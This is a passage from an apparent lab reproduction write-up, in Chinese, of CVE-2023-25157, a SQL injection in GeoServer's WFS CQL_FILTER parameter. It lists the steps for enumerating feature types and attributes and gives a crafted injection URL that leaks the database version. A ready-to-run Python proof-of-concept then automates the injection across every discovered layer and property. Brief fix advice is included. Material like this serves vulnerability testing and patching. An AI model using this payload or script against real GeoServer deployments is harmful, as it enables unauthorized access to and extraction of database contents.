2.获取每个功能名称
在进行注入之前,首先要获取地理图层列表信息,这是sql注入payload中的一个必要参数
访问以下url获取:
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
<Name>
标签中的信息,就是地理图层列表。这里选择vulhub:example
作为地理图层列表信息
3.获取功能的属性
将上一步获取的typeName的name属性值拼接到url中,构成url如下:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json
4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数,拼接成payload:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true
成功获取到数据库版本号
修复建议
升级 org.geoserver.community:gs-jdbcconfig 到 2.21.4 或 2.22.2 或更高版本
禁用 PostGIS Datastore 的 encode functions 或使用 preparedStatements 处理 sql 语句
poc
使用方法:python CVE-2023-25157.py http://your-ip:8080/geoserver/ows
#!/usr/bin/env python3
# -\*- coding: utf-8 -\*-
import requests
import sys
import xml.etree.ElementTree as ET
import json
# Colored output codes
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
# Check if the script is run without parameters
if len(sys.argv) == 1:
print(f"{YELLOW}This script requires a URL parameter.{ENDC}")
print(f"{YELLOW}Usage: python3 {sys.argv[0]} <URL>{ENDC}")
sys.exit(1)
# URL and proxy settings
URL = sys.argv[1]
PROXY_ENABLED = False
PROXY = "http://127.0.0.1:8080/" if PROXY_ENABLED else None
response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities",
proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
# Parse the XML response and extract the Name from each FeatureType and store in a list
root = ET.fromstring(response.text)
feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]
# Print the feature names
print(f"{GREEN}Available feature names:{ENDC}")
for name in names:
print(f"- {name}")
# Send requests for each feature name and CQL\_FILTER type
cql_filters = [
"strStartsWith"] # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.
for name in names:
for cql_filter in cql_filters:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
json_data = json.loads(response.text)
try:
properties = json_data['features'][0]['properties']
except IndexError:
print("Error: 超出范围")
property_names = list(properties.keys())
print(f"\n{GREEN}Available Properties for {name}:{ENDC}")
for property_name in property_names:
print(f"- {property\_name}")
print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")
for property_name in property_names:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL\_FILTER={cql\_filter}%28{property\_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
print(
f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property\_name}{ENDC} and CQL\_FILTER: {BOLD}{cql\_filter}{ENDC}")
if response.status_code == 200:
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
print(f"{GREEN}{error\_message}{ENDC}")
else:
print(f"{RED}Request failed{ENDC}")
else:
print(f"{RED}Request failed{ENDC}")
else:
print(f"{RED}Failed to retrieve XML data{ENDC}")